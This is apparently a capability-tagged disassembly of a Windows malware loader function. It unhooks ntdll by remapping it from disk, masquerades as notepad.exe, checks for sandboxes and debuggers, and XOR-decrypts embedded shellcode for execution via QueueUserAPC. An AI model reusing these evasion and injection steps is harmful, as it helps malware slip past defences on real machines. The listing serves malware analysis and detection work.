Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7e8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x750], xmm6
mov dword [rbp + 0x790], ecx
mov qword [rbp + 0x798], rdx
call fcn.140002ad0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6c8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6c0], rax
mov ecx, 0x1808
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov ecx, 0x1808
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x74c], 0
jmp 0x1400015bf
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x74c], 1
cmp dword [rbp + 0x74c], 0x300
jle 0x140001535
mov dword [rbp + 0x74c], 0
jmp 0x14000162d
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x74c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003b10
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x74c], 1
cmp dword [rbp + 0x74c], 0x300
jle 0x1400015db
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6a8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
jne 0x140001817
mov dword [rbp + 0x734], 0
mov ecx, 0x618
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov dword [rbp + 0x73c], 0
jmp 0x140001742
mov dword [rbp + 0x738], 0
jmp 0x140001732
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x640e11fb
shr rdx, 0x20
mov ecx, edx
sar ecx, 0xb
cdq
sub ecx, edx
imul edx, ecx, 0x1478
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x73c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x6a0]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x738]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x738], 1
cmp dword [rbp + 0x738], 0xc
jle 0x1400016c7
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x1d
jle 0x1400016bb
mov dword [rbp + 0x73c], 0
jmp 0x1400017cf
mov dword [rbp + 0x738], 0
jmp 0x1400017bf
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x734]
mov eax, dword [rbp + 0x73c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x6a0]
add rdx, rax
mov eax, dword [rbp + 0x738]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x734], eax
add dword [rbp + 0x738], 1
cmp dword [rbp + 0x738], 0xc
jle 0x140001767
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0x1d
jle 0x14000175b
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140001bf2
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x510]
mov rax, qword [rbp + 0x6a8]
mov r10, qword [rbp + 0x740]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov ecx, 0x9ac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x72c], 0
mov dword [rbp + 0x728], 0
mov dword [rbp + 0x730], 0
jmp 0x14000192c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x730]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x730]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400018fb
add dword [rbp + 0x72c], 1
jmp 0x140001925
mov eax, dword [rbp + 0x730]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140001925
add dword [rbp + 0x728], 1
add dword [rbp + 0x730], 1
cmp dword [rbp + 0x730], 0x26a
jle 0x140001889
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x510]
mov qword [rbp + 0x690], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x690]
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x724], 0xffffffff
add dword [rbp + 0x724], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x29d
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b5b0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003e00
movq rax, xmm0
mov qword [rbp + 0x668], rax
cmp dword [rbp + 0x724], 0x194
jle 0x140001a25
mov rax, qword [rbp + 0x670]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x690]
add rax, rdx
mov qword [rbp + 0x660], rax
mov word [rbp + 0x722], 0
jmp 0x140001bda
mov rax, qword [rbp + 0x660]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x660]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x722]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001bc9
mov dword [rbp + 0x4d8], 0
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x690]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4d8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x678]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x690]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x4d8]
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x658]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x690]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x4d8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x722]
add eax, 1
mov word [rbp + 0x722], ax
mov rax, qword [rbp + 0x660]
movzx eax, word [rax + 6]
cmp word [rbp + 0x722], ax
jb 0x140001a9e
mov dword [rbp + 0x4dc], 0
mov rax, qword [rbp + 0x6c8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x4e0]
lea rax, [rbp + 0x4dc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x650]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x71c], 0xdc
mov dword [rbp + 0x718], 0x122
mov dword [rbp + 0x714], 0x230
mov dword [rbp + 0x710], 0x29e
jmp 0x140001d3f
mov eax, dword [rbp + 0x714]
cmp eax, dword [rbp + 0x710]
jle 0x140001cdc
mov eax, dword [rbp + 0x714]
cmp eax, dword [rbp + 0x71c]
jle 0x140001cbc
mov eax, dword [rbp + 0x714]
cmp eax, dword [rbp + 0x718]
jle 0x140001cb3
sub dword [rbp + 0x714], 1
jmp 0x140001d28
sub dword [rbp + 0x718], 1
jmp 0x140001d28
mov eax, dword [rbp + 0x71c]
cmp eax, dword [rbp + 0x718]
jle 0x140001cd3
sub dword [rbp + 0x71c], 1
jmp 0x140001d28
sub dword [rbp + 0x718], 1
jmp 0x140001d28
mov eax, dword [rbp + 0x710]
cmp eax, dword [rbp + 0x71c]
jle 0x140001d0a
mov eax, dword [rbp + 0x710]
cmp eax, dword [rbp + 0x718]
jle 0x140001d01
sub dword [rbp + 0x710], 1
jmp 0x140001d28
sub dword [rbp + 0x718], 1
jmp 0x140001d28
mov eax, dword [rbp + 0x71c]
cmp eax, dword [rbp + 0x718]
jle 0x140001d21
sub dword [rbp + 0x71c], 1
jmp 0x140001d28
sub dword [rbp + 0x718], 1
mov eax, dword [rbp + 0x714]
mov edx, eax
lea rax, [0x14000b074]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x714], 0
jg 0x140001c80
mov rax, qword [rbp + 0x4e8]
add rax, 0x3c
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x648]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov ecx, 0
call rax
mov dword [rbp + 0x63c], eax
cmp dword [rbp + 0x63c], 0xffffffff
je 0x140002a00
lea rax, str.rvdxzgpfvjmlpgga.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x630], rax
cmp qword [rbp + 0x630], 0
jne 0x140002a00
mov qword [rbp + 0x628], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x620]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1669a80
mov ecx, 0
call rax
mov qword [rbp + 0x628], rax
cmp qword [rbp + 0x628], 0
je 0x140002a00
mov rax, qword [rbp + 0x628]
mov edx, 0x1669a80
mov rcx, rax
call fcn.1400095e0
mov rax, qword [rbp + 0x628]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x708], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x618], rax
cmp qword [rbp + 0x618], 0
je 0x140001f29
mov rax, qword [rbp + 0x618]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x610]
mov r9d, 0x3000
mov r8d, 0x3d2
mov edx, 0
call rax
mov qword [rbp + 0x708], rax
cmp qword [rbp + 0x708], 0
je 0x140002a00
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x608]
mov ecx, 0
call rax
mov dword [rbp + 0x604], eax
cmp dword [rbp + 0x604], 0xffffffff
je 0x140002a00
mov ecx, 0x528
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x528
jne 0x140002a00
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x4d4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x4d4]
mov r8, qword [rbp + 0x5f8]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x4d4]
cmp eax, 1
je 0x140002a00
mov dword [rbp + 0x5f4], 0x250
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x5e8]
call rax
mov dword [rbp + 0x5e4], eax
mov eax, dword [rbp + 0x5f4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x5e8]
call rax
mov dword [rbp + 0x5e0], eax
mov eax, dword [rbp + 0x5e0]
sub eax, dword [rbp + 0x5e4]
cmp eax, 0x21e
jbe 0x140002a00
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x5d8], rax
cmp qword [rbp + 0x5d8], 0
je 0x140002a00
mov rax, qword [rbp + 0x5d8]
mov edx, 0x464
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x5d4], eax
mov dword [rbp + 0x5d0], 0x380
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x5c8]
call rax
mov dword [rbp + 0x5c4], eax
mov eax, dword [rbp + 0x5d0]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x5c8]
call rax
mov dword [rbp + 0x5c0], eax
mov eax, dword [rbp + 0x5c0]
sub eax, dword [rbp + 0x5c4]
cmp eax, 0x34e
jbe 0x140002a00
mov dword [rbp + 0x700], 0
mov dword [rbp + 0x5bc], 0
mov ecx, 0x3d0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5b0], rax
mov dword [rbp + 0x704], 0
jmp 0x14000222f
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x704]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5b0]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x704]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5b0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x700], eax
add dword [rbp + 0x704], 1
cmp dword [rbp + 0x704], 0xf3
jle 0x1400021b3
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0x80]
lea rdx, [0x14000b158]
mov ecx, 0x8a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x6c0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x6c0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a0], rax
mov dword [rbp + 0x6f4], 0
mov dword [rbp + 0x59c], 0x249
mov dword [rbp + 0x598], 0x124
mov eax, dword [rbp + 0x59c]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x590], rax
mov dword [rbp + 0x6fc], 0
jmp 0x140002336
mov eax, dword [rbp + 0x6fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x590]
add rdx, rax
mov eax, dword [rbp + 0x6fc]
mov dword [rdx], eax
add dword [rbp + 0x6fc], 1
mov eax, dword [rbp + 0x6fc]
cmp eax, dword [rbp + 0x598]
jl 0x14000230d
mov dword [rbp + 0x6fc], 1
jmp 0x1400023c8
mov eax, dword [rbp + 0x6fc]
mov dword [rbp + 0x6f8], eax
jmp 0x14000239f
mov edx, dword [rbp + 0x6fc]
mov eax, dword [rbp + 0x6f8]
add edx, eax
mov eax, dword [rbp + 0x6fc]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x6f8]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x590]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x6f8], 1
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x6fc]
mov edx, dword [rbp + 0x6fc]
add edx, edx
lea ebx, [rdx + 1]
cdq
idiv ebx
cmp dword [rbp + 0x6f8], eax
jle 0x14000235e
add dword [rbp + 0x6fc], 1
mov eax, dword [rbp + 0x6fc]
cmp eax, dword [rbp + 0x598]
jl 0x140002350
cmp dword [rbp + 0x59c], 2
jle 0x14000240c
mov eax, dword [rbp + 0x6f4]
lea edx, [rax + 1]
mov dword [rbp + 0x6f4], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x590]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x6fc], 1
jmp 0x140002470
mov eax, dword [rbp + 0x6fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x590]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002469
mov eax, dword [rbp + 0x6fc]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x6f4]
lea edx, [rax + 1]
mov dword [rbp + 0x6f4], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x590]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x6fc], 1
mov eax, dword [rbp + 0x6fc]
cmp eax, dword [rbp + 0x598]
jl 0x140002418
mov dword [rbp + 0x58c], 2
mov dword [rbp + 0x6f0], 0
mov dword [rbp + 0x6fc], 0
jmp 0x1400024cc
mov eax, dword [rbp + 0x6fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x590]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400024c5
add dword [rbp + 0x6f0], 1
add dword [rbp + 0x6fc], 1
mov eax, dword [rbp + 0x6fc]
cmp eax, dword [rbp + 0x58c]
jl 0x14000249e
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5a8]
mov r8d, 0
mov edx, 0x452
mov ecx, 0x40000
call rax
mov qword [rbp + 0x580], rax
mov rax, qword [rbp + 0x580]
mov r9, qword [rbp + 0x5a0]
mov r8d, 0x452
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x578], rax
mov rax, qword [rbp + 0x6c8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x570], rax
lea rdx, [rbp + 0x80]
mov rax, qword [rbp + 0x578]
mov r9, qword [rbp + 0x570]
mov r8d, 0x452
mov rcx, rax
call r9
mov dword [rbp + 0x6e8], 0
mov dword [rbp + 0x6e4], 0
movabs rax, 0x99628f0e5e04a5e1
movabs rdx, 0x1aea552611f56db2
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x29019c146d409657
movabs rdx, 0xbbf03bcae7ca1a81
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x2d74c9b51b2ccb19
movabs rdx, 0xd64690ad629fdc20
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x4976448ef9f293d
movabs rdx, 0xff4469ecd00c67d
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x874d7a2cd2af98e1
movabs rdx, 0x44347208d3427787
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x97918544347208d3
movabs rdx, 0xc18cd9b9d37af4
mov qword [rbp + 0x6b], rax
mov qword [rbp + 0x73], rdx
movabs rax, 0xc95ecfb364912ae4
movabs rdx, 0xea46d7d40c0bdcad
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x70296283d93f2865
movabs rdx, 0xd9445ba97a82d5d5
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xeeee7f8bd9445b
mov qword [rbp + 0xd], rax
mov ecx, 0x988
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x568], rax
mov ecx, 0x988
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x560], rax
mov dword [rbp + 0x6dc], 0x261
mov dword [rbp + 0x6e0], 0
jmp 0x14000273b
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x6e0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x568]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x6dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x568]
add rax, rdx
mov edx, dword [rbp + 0x6e0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x560]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x6dc], 1
add dword [rbp + 0x6e0], 1
cmp dword [rbp + 0x6e0], 0x261
jle 0x1400026ae
mov rax, qword [rbp + 0x568]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x6ec], 0
jmp 0x1400027c0
mov eax, dword [rbp + 0x6ec]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x6e8]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x6ec]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x6e8], 0x59
jne 0x1400027b2
mov dword [rbp + 0x6e8], 0
jmp 0x1400027b9
add dword [rbp + 0x6e8], 1
add dword [rbp + 0x6ec], 1
mov eax, dword [rbp + 0x6ec]
cmp eax, 0x23
jbe 0x140002775
mov dword [rbp + 0x6ec], 0
jmp 0x140002838
mov eax, dword [rbp + 0x6ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x578]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x6e4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x6ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x578]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x6e4], 0x23
jne 0x14000282a
mov dword [rbp + 0x6e4], 0
jmp 0x140002831
add dword [rbp + 0x6e4], 1
add dword [rbp + 0x6ec], 1
cmp dword [rbp + 0x6ec], 0x451
jle 0x1400027d7
mov rax, qword [rbp + 0x578]
mov qword [rbp + 0x558], rax
mov rax, qword [rbp + 0x6c0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x550], rax
mov ecx, 0x820
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x548], rax
mov dword [rbp + 0x6d4], 0
mov dword [rbp + 0x544], 0
mov dword [rbp + 0x6d8], 0
jmp 0x1400028f0
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x6d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x548]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x6d8], 1
cmp dword [rbp + 0x6d8], 0x207
jle 0x1400028a4
mov dword [rbp + 0x6d8], 0
jmp 0x140002931
mov eax, dword [rbp + 0x6d8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x548]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x6d4], eax
add dword [rbp + 0x6d8], 1
cmp dword [rbp + 0x6d8], 0x207
jle 0x140002908
mov rax, qword [rbp + 0x548]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x538], rax
